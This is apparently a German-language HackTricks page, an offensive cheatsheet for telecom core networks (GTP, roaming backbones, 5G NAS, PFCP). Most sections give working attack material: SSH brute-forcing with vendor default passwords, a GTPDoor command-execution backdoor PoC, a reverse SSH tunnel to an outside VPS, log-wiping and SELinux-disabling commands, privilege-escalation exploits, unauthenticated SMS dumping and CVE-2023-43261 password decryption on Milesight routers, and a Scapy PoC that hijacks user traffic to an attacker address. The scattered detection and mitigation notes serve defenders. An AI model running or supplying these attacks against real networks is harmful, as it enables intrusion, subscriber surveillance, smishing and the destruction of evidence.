Telekommunikationsnetz Exploitation (GTP / Roaming-Umgebungen)

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks

Note

Mobile-Core-Protokolle (GPRS Tunnelling Protocol – GTP) verlaufen häufig über halb-vertrauenswürdige GRX/IPX Roaming-Backbones. Weil sie über plain UDP mit nahezu keiner Authentifizierung laufen, kann jede Kompromittierung innerhalb eines Telekom-Perimeters in der Regel direkt die Core-Signalisierungsebenen erreichen. Die folgenden Hinweise sammeln offensive Tricks, die in der Praxis gegen SGSN/GGSN, PGW/SGW und andere EPC-Nodes beobachtet wurden.

1. Recon & Initial Access

1.1 Default OSS / NE Accounts

Eine überraschend große Anzahl von Herstellern liefert Netzwerkelemente mit hartkodierten SSH/Telnet-Benutzern wie root:admin, dbadmin:dbadmin, cacti:cacti, ftpuser:ftpuser, … Eine dedizierte wordlist erhöht den brute-force-Erfolg dramatisch:

hydra -L usernames.txt -P vendor_telecom_defaults.txt ssh://10.10.10.10 -t 8 -o found.txt

Wenn das Gerät nur eine Management-VRF bereitstellt, pivot zuerst über einen jump host (siehe Abschnitt «SGSN Emu Tunnel» unten).

1.2 Host-Erkennung innerhalb von GRX/IPX

Die meisten GRX-Operatoren erlauben weiterhin ICMP echo über das Backbone. Kombinieren Sie masscan mit den eingebauten gtpv1 UDP-Probes, um GTP-C-Listener schnell zu kartieren:

masscan 10.0.0.0/8 -pU:2123 --rate 50000 --router-ip 10.0.0.254 --router-mac 00:11:22:33:44:55

2. Ermitteln von Teilnehmern – cordscan

Das folgende Go-Tool erzeugt GTP-C Create PDP Context Request-Pakete und protokolliert die Antworten. Jede Antwort zeigt die aktuelle SGSN / MME, die die abgefragte IMSI bedient, und manchmal das vom Teilnehmer besuchte PLMN.

# Build
GOOS=linux GOARCH=amd64 go build -o cordscan ./cmd/cordscan

# Usage (typical):
./cordscan --imsi 404995112345678 --oper 40499 -w out.pcap

Key flags:

  • --imsi IMSI des Zielteilnehmers
  • --oper Home / HNI (MCC+MNC)
  • -w Rohpakete in pcap schreiben

Wichtige Konstanten im Binary können gepatcht werden, um Scans zu erweitern:

pingtimeout       = 3   // seconds before giving up
pco               = 0x218080
common_tcp_ports  = "22,23,80,443,8080"

3. Codeausführung über GTP – GTPDoor

GTPDoor ist ein kleiner ELF-Dienst, der UDP 2123 bindet und jedes eingehende GTP-C packet parst. Wenn die Payload mit einem vorab geteilten Tag beginnt, wird der Rest mit (AES-128-CBC) entschlüsselt und über /bin/sh -c ausgeführt. stdout/stderr werden innerhalb von Echo Response-Nachrichten exfiltriert, sodass niemals eine ausgehende Session erstellt wird.

Minimales PoC-Paket (Python):

import gtpc, Crypto.Cipher.AES as AES
key = b"SixteenByteKey!"
cmd = b"id;uname -a"
enc = AES.new(key, AES.MODE_CBC, iv=b"\x00"*16).encrypt(cmd.ljust(32,b"\x00"))
print(gtpc.build_echo_req(tag=b"MAG1C", blob=enc))

Erkennung:

  • jeder Host, der unbalanced Echo Requests an SGSN IPs sendet
  • GTP version flag set to 1 while message type = 1 (Echo) – Abweichung von der Spezifikation

4. Pivoting durch den Core

4.1 sgsnemu + SOCKS5

OsmoGGSN liefert einen SGSN-Emulator, der in der Lage ist, establish a PDP context towards a real GGSN/PGW. Nach Aushandlung erhält Linux ein neues tun0-Interface, das vom roaming peer erreichbar ist.

sgsnemu -g 10.1.1.100 -i 10.1.1.10 -m 40499 -s 404995112345678 \
-APN internet -c 1 -d
ip route add 172.16.0.0/12 dev tun0
microsocks -p 1080 &   # internal SOCKS proxy

Mit richtigem Firewall hair-pinning umgeht dieser Tunnel signalling-only VLANs und gelangt direkt in die Datenebene.

4.2 SSH Reverse Tunnel over Port 53

DNS ist in Roaming-Infrastrukturen fast immer offen. Stelle einen internen SSH-Dienst auf deinem VPS bereit, der auf :53 lauscht, und kehre später von zu Hause zurück:

ssh -f -N -R 0.0.0.0:53:127.0.0.1:22 user@vps.example.com

Prüfe, dass GatewayPorts yes auf dem VPS aktiviert ist.

5. Covert Channels

KanalTransportDekodierungAnmerkungen
ICMP – EchoBackdoorICMP Echo Req/Rep4-byte key + 14-byte chunks (XOR)rein passiver Listener, kein ausgehender Traffic
DNS – NoDepDNSUDP 53XOR (key = funnyAndHappy) encoded in A-record octetsüberwacht *.nodep Subdomain
GTP – GTPDoorUDP 2123AES-128-CBC blob in private IEmischt sich mit legitimen GTP-C chatter

Alle implants implementieren watchdogs, die ihre Binaries timestomp und bei Absturz neu starten.

6. Defense Evasion Cheatsheet

# Remove attacker IPs from wtmp
utmpdump /var/log/wtmp | sed '/203\.0\.113\.66/d' | utmpdump -r > /tmp/clean && mv /tmp/clean /var/log/wtmp

# Disable bash history
export HISTFILE=/dev/null

# Masquerade as kernel thread
echo 0 > /proc/$$/autogroup   # hide from top/htop
printf '\0' > /proc/$$/comm    # appears as [kworker/1]

touch -r /usr/bin/time /usr/bin/chargen   # timestomp
setenforce 0                              # disable SELinux

7. Privilege Escalation auf Legacy-NE

# DirtyCow – CVE-2016-5195
gcc -pthread dirty.c -o dirty && ./dirty /etc/passwd

# PwnKit – CVE-2021-4034
python3 PwnKit.py

# Sudo Baron Samedit – CVE-2021-3156
python3 exploit_userspec.py

Bereinigungstipp:

userdel firefart 2>/dev/null
rm -f /tmp/sh ; history -c

8. Tool Box

  • cordscan, GTPDoor, EchoBackdoor, NoDepDNS – benutzerdefinierte Tools, die in früheren Abschnitten beschrieben wurden.
  • FScan : Intranet-TCP-Scans (fscan -p 22,80,443 10.0.0.0/24)
  • Responder : LLMNR/NBT-NS rogue WPAD
  • Microsocks + ProxyChains : leichte SOCKS5-Pivotierung
  • FRP (≥0.37) : NAT-Traversal / Asset-Bridge

9. 5G NAS-Registrierungsangriffe: SUCI leaks, downgrade zu EEA0/EIA0, und NAS replay

Das 5G-Registrierungsverfahren läuft über NAS (Non-Access Stratum) auf NGAP. Bis die NAS-Sicherheit durch Security Mode Command/Complete aktiviert ist, sind Initialnachrichten nicht authentifiziert und nicht verschlüsselt. Dieses Pre-Security-Fenster ermöglicht mehrere Angriffswege, wenn man N2-Traffic beobachten oder manipulieren kann (z. B. on-path innerhalb des Core, rogue gNB oder Testbed).

Registrierungsablauf (vereinfacht):

  • Registration Request: UE sendet SUCI (verschlüsseltes SUPI) und Capabilities.
  • Authentication: AMF/AUSF senden RAND/AUTN; UE gibt RES* zurück.
  • Security Mode Command/Complete: NAS-Integrität und Verschlüsselung werden ausgehandelt und aktiviert.
  • PDU Session Establishment: IP/QoS-Konfiguration.

Lab-Setup-Tipps (non-RF):

  • Core: Open5GS Default-Deployment reicht aus, um die Flows zu reproduzieren.
  • UE: Simulator oder Test-UE; mit Wireshark decodieren.
  • Active tooling: 5GReplay (capture/modify/replay NAS innerhalb von NGAP), Sni5Gect (sniff/patch/inject NAS on the fly ohne ein vollständiges rogue gNB hochzufahren).
  • Nützliche Display-Filter in Wireshark:
  • ngap.procedure_code == 15 (InitialUEMessage)
  • nas_5g.message_type == 65 or nas-5gs.message_type == 65 (Registration Request)

9.1 Identifikator-Privatsphäre: SUCI-Ausfälle, die SUPI/IMSI offenbaren

Erwartet: UE/USIM muss SUCI übertragen (SUPI verschlüsselt mit dem öffentlichen Schlüssel des Home-Networks). Das Auffinden eines Klartext-SUPI/IMSI in der Registration Request weist auf einen Datenschutzfehler hin, der persistentes Subscriber-Tracking ermöglicht.

Wie testen:

  • Erfasse die erste NAS-Nachricht im InitialUEMessage und untersuche das Mobile Identity IE.
  • Wireshark Quick-Checks:
  • Es sollte als SUCI decodiert werden, nicht als IMSI.
  • Filterbeispiele: nas-5gs.mobile_identity.suci || nas_5g.mobile_identity.suci sollte vorhanden sein; Abwesenheit plus Vorhandensein von imsi deutet auf einen leak hin.

Was zu sammeln ist:

  • MCC/MNC/MSIN falls exponiert; pro-UE loggen und über Zeit/Standorte nachverfolgen.

Abhilfemaßnahmen:

  • Nur SUCI-fähige UEs/USIMs erzwingen; bei jedem IMSI/SUPI im initialen NAS Alarm auslösen.

9.2 Herunterhandeln der Capabilities zu Null-Algorithmen (EEA0/EIA0)

Hintergrund:

  • UE gibt die unterstützten EEA (Verschlüsselung) und EIA (Integrität) im UE Security Capability IE der Registration Request an.
  • Typische Zuordnungen: EEA1/EIA1 = SNOW3G, EEA2/EIA2 = AES, EEA3/EIA3 = ZUC; EEA0/EIA0 sind Null-Algorithmen.

Problem:

  • Weil die Registration Request nicht integritätsgeschützt ist, kann ein on-path Angreifer Capability-Bits löschen, um die Auswahl von EEA0/EIA0 später im Security Mode Command zu erzwingen. Einige Stacks erlauben fälschlicherweise Null-Algorithmen außerhalb von Emergency Services.

Offensive Schritte:

  • InitialUEMessage abfangen und das NAS UE Security Capability so modifizieren, dass nur EEA0/EIA0 gemeldet werden.
  • Mit Sni5Gect die NAS-Nachricht hooken und die Capability-Bits patchen, bevor weitergeleitet wird.
  • Beobachten, ob AMF Null-Cipher/Integrität akzeptiert und den Security Mode mit EEA0/EIA0 abschließt.

Verifikation/Sichtbarkeit:

  • In Wireshark die ausgewählten Algorithmen nach Security Mode Command/Complete bestätigen.
  • Beispielausgabe eines passiven Sniffers:
Encyrption in use [EEA0]
Integrity in use [EIA0, EIA1, EIA2]
SUPI (MCC+MNC+MSIN) 9997000000001

Gegenmaßnahmen (Pflicht):

  • Konfigurieren Sie AMF/policy so, dass EEA0/EIA0 abgelehnt werden, außer dort, wo dies strikt vorgeschrieben ist (z. B. Notrufe).
  • Bevorzugen Sie die Durchsetzung von mindestens EEA2/EIA2; protokollieren und alarmieren Sie bei jedem NAS-Sicherheitskontext, der null-Algorithmen aushandelt.

9.3 Replay der initialen Registration Request (pre-security NAS)

Weil das initiale NAS keine Integrität und Aktualität bietet, kann eine aufgezeichnete InitialUEMessage+Registration Request an das AMF wiederholt werden.

PoC-Regel für 5GReplay, um passende Replays weiterzuleiten:

<beginning>
<property value="THEN"
property_id="101"
type_property="FORWARD"
description="Forward InitialUEMessage with Registration Request">

<!-- Trigger on NGAP InitialUEMessage (procedureCode == 15) -->
<event value="COMPUTE"
event_id="1"
description="Trigger: InitialUEMessage"
boolean_expression="ngap.procedure_code == 15"/>

<!-- Context match on NAS Registration Request (message_type == 65) -->
<event value="COMPUTE"
event_id="2"
description="Context: Registration Request"
boolean_expression="nas_5g.message_type == 65"/>

</property>
</beginning>

What to observe:

  • Ob der AMF das Replay akzeptiert und mit der Authentifizierung fortfährt; fehlende Prüfung von Freshness/Kontext deutet auf eine Verwundbarkeit hin.

Mitigations:

  • Replay-Schutz und Context-Binding am AMF erzwingen; Ratenbegrenzung und Korrelation pro GNB/UE.

9.4 Tooling pointers (reproducible)

  • Open5GS: einen AMF/SMF/UPF aufsetzen, um den Core zu emulieren; N2 (NGAP) und NAS beobachten.
  • Wireshark: Decodes von NGAP/NAS verifizieren; die obigen Filter anwenden, um Registration zu isolieren.
  • 5GReplay: eine Registration mitschneiden, dann spezifische NGAP + NAS-Nachrichten gemäß Regel replayen.
  • Sni5Gect: live sniff/modify/inject des NAS control-plane, um null algorithms zu erzwingen oder Authentifizierungssequenzen zu stören.

9.5 Defensive checklist

  • Registration Request kontinuierlich auf im Klartext vorhandene SUPI/IMSI inspizieren; betreffende Geräte/USIMs blockieren.
  • EEA0/EIA0 ablehnen, außer für eng definierte Notfallverfahren; mindestens EEA2/EIA2 verlangen.
  • Rogue oder fehlkonfigurierte Infrastruktur erkennen: unautorisierte gNB/AMF, unerwartete N2-Peers.
  • Alarm bei NAS-Sicherheitsmodi, die zu null algorithms führen oder häufige Replays von InitialUEMessage verursachen.

10. Industrial Cellular Routers – Unauthenticated SMS API Abuse (Milesight UR5X/UR32/UR35/UR41) and Credential Recovery (CVE-2023-43261)

Das Ausnutzen exponierter Web-APIs von industriellen Mobilfunkroutern ermöglicht unauffälliges, carrier-origin smishing im großen Maßstab. Milesight-UR-Serie-Router stellen einen JSON-RPC–artigen Endpoint unter /cgi bereit. Bei Fehlkonfiguration kann die API ohne Authentifizierung abgefragt werden, um SMS-Inbox/Outbox aufzulisten und in einigen Deployments SMS zu versenden.

Typical unauthenticated requests (same structure for inbox/outbox):

POST /cgi HTTP/1.1
Host: <router>
Content-Type: application/json

{ "base": "query_outbox", "function": "query_outbox", "values": [ {"page":1,"per_page":50} ] }
{ "base": "query_inbox", "function": "query_inbox", "values": [ {"page":1,"per_page":50} ] }

Antworten enthalten Felder wie timestamp, content, phone_number (E.164) und status (success oder failed). Wiederholte failed sends an dieselbe Nummer sind oft attacker “capability checks”, um zu validieren, dass ein router/SIM zustellen kann, bevor geblastet wird.

Beispiel curl to exfiltrate SMS metadata:

curl -sk -X POST http://<router>/cgi \
-H 'Content-Type: application/json' \
-d '{"base":"query_outbox","function":"query_outbox","values":[{"page":1,"per_page":100}]}'

Hinweise zu auth-Artefakten:

  • Einige Verbindungen können ein auth cookie enthalten, aber ein großer Teil der exponierten Geräte antwortet ohne jegliche Authentifizierung auf query_inbox/query_outbox, wenn die Management-Oberfläche internetseitig erreichbar ist.
  • In Umgebungen, die auth erfordern, stellen previously-leaked credentials (siehe unten) den Zugriff wieder her.

Pfad zur Wiederherstellung von Anmeldeinformationen – CVE-2023-43261:

  • Betroffene Familien: UR5X, UR32L, UR32, UR35, UR41 (pre v35.3.0.7).
  • Problem: web-served logs (z. B. httpd.log) sind ohne Authentifizierung unter /lang/log/ erreichbar und enthalten Admin-Login-Ereignisse mit dem Passwort, verschlüsselt mittels eines hardcodierten AES key/IV, das im clientseitigen JavaScript vorhanden ist.
  • Praktischer Zugriff und Entschlüsselung:
curl -sk http://<router>/lang/log/httpd.log | sed -n '1,200p'
# Look for entries like: {"username":"admin","password":"<base64>"}

Minimales Python zum Entschlüsseln leaked Passwörter (AES-128-CBC, hardcoded key/IV):

import base64
from Crypto.Cipher import AES
from Crypto.Util.Padding import unpad
KEY=b'1111111111111111'; IV=b'2222222222222222'
enc_b64='...'  # value from httpd.log
print(unpad(AES.new(KEY, AES.MODE_CBC, IV).decrypt(base64.b64decode(enc_b64)), AES.block_size).decode())

Hunting- und Erkennungs-Ideen (Netzwerk):

  • Alarm bei unauthentifiziertem POST /cgi, dessen JSON-Body base/function auf query_inbox oder query_outbox gesetzt ist.
  • Verfolge wiederholte POST /cgi-Burstes, gefolgt von status":"failed"-Einträgen über viele eindeutige Nummern von derselben Quell-IP (capability testing).
  • Inventory Internet-exposed Milesight routers; beschränke Management auf VPN; disable SMS-Funktionen, sofern nicht erforderlich; upgrade auf ≥ v35.3.0.7; rotiere Credentials und prüfe SMS-Logs auf unbekannte Sends.

Shodan/OSINT pivots (Beispiele aus der Praxis):

  • http.html:"rt_title" matches Milesight router panels.
  • Google dorking for exposed logs: "/lang/log/system" ext:log.

Operative Auswirkungen: Die Verwendung legitimer Carrier SIMs in Routern führt zu sehr hoher SMS-Zustellbarkeit/Glaubwürdigkeit für phishing, während die Offenlegung von inbox/outbox sensible Metadaten in großem Umfang leaks.


11. PFCP Session Hijack & GTP-U TEID Abuse

11.1 PFCP Session Modification to steal flows

If you can speak PFCP on N4 (e.g., from a mis-filtered GRX/IPX segment), craft a Session Modification Request that inserts a duplicate PDR ID but with a smaller Precedence and a FAR pointing to your host. Some UPFs (e.g., OAI-cn5g) apply the first matching PDR and never check for uniqueness, so the malicious PDR hijacks all subsequent packets of that PDU session to your sink.

Minimal Scapy PoC (assumes PFCP contrib is available and you know SEID/PDR IDs):

Scapy PFCP session hijack PoC ```python from scapy.all import * from scapy.contrib.pfcp import *

n4 = “10.10.20.5” # UPF N4 seid = 0x123456789abc pdr_id = 7 # existing PDR ID in session far_id = 77 # new malicious FAR

pkt = IP(dst=n4)/UDP(sport=8805,dport=8805)/PFCP( S=1, seid=seid, msg_type=MODIFICATION_REQUEST)/PFCPSessionModificationRequest( IE_list=[PDR(id=pdr_id, precedence=1, outer_header_removal=0, far_id=fid_identifier(far_id)), FAR(id=far_id, apply_action=0b10, # FORWARD forwarding_parameters=ForwardingParameters( outer_header_creation=OuterHeaderCreation( desc=0x0002, ipv4_address=“203.0.113.55”, teid=0xdeadbeef)))] ) send(pkt, verbose=False)

</details>

### 11.2 Einspeisen von Benutzerdatenverkehr durch Spoofing von TEIDs
Wenn uplink GTP-U vom Backbone nicht ACL'd ist, kannst du TEIDs, die in GTP-U-Headern gesehen wurden, replay/guess und beliebigen IP/TCP-Verkehr zum Peer des UE oder ins Internet einkapseln. Beispielpaket:
```python
send(IP(dst="10.10.20.8")/UDP(dport=2152,sport=2152)/
GTP_U_Header(teid=0x7ffed00)/
IP(src="10.0.0.10",dst="1.1.1.1")/TCP(dport=443,flags="S"))

Kombiniere das mit passive sniffing auf N3/N6, um aktive TEIDs zu ermitteln; viele PGW/UPF-Stacks akzeptieren jede uplink source, sobald TEID übereinstimmt.


12. SBA/SBI Fuzzing & Cross-Service Token Attack (free5GC R17)

FivGeeFuzz (academic 2025) leitet automatisch Grammatiken aus 3GPP OpenAPI specs ab, um HTTP-based SBIs zu fuzz. Gegen free5GC entdeckte es acht Bugs, einschließlich des Cross-Service Token-Missbrauchs: Ein kompromittiertes NF erhält ein access token für Service A und verwendet es gegen Service B wieder, weil audience/issuer checks im Ziel-NF fehlten.

Quick replay idea (assuming you stole an NRF-issued token from any NF):

# Swap :authority to the victim NF and reuse the bearer token
curl -sk -H "Authorization: Bearer $TOKEN" \
-H "Host: smf.internal" \
https://smf.internal/nsmf-pdusession/v1/sm-contexts

Um automatisch mit FivGeeFuzz-Grammatiken zu fuzz:

python3 fivgeefuzz.py --nf nsmf-pdusession \
--target https://smf.internal \
--grammar grammars/nsmf-pdusession.json \
--token "$TOKEN" --threads 8 --max-cases 500

Watch for 401/403 bypasses and crashes in SMF/AMF pods; patched free5GC builds reject mismatched aud/iss.


Erkennungsideen

  1. Any device other than an SGSN/GGSN establishing Create PDP Context Requests.
  2. Non-standard ports (53, 80, 443) receiving SSH handshakes von internen IPs.
  3. Frequent Echo Requests without corresponding Echo Responses – könnte auf GTPDoor beacons hinweisen.
  4. High rate of ICMP echo-reply traffic with large, non-zero identifier/sequence fields.
  5. 5G: InitialUEMessage carrying NAS Registration Requests repeated from identical endpoints (replay signal).
  6. 5G: NAS Security Mode negotiating EEA0/EIA0 außerhalb von Notfallkontexten.
  7. PFCP: Session Modification carrying duplicate PDR IDs or sudden FAR redirection to off-net IPs.
  8. SBA: NRF issues tokens whose aud does not match the called NF – Hinweis auf Cross-Service Token replay.

Referenzen

Tip

Lernen & üben Sie AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Lernen & üben Sie GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Lernen & üben Sie Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Unterstützen Sie HackTricks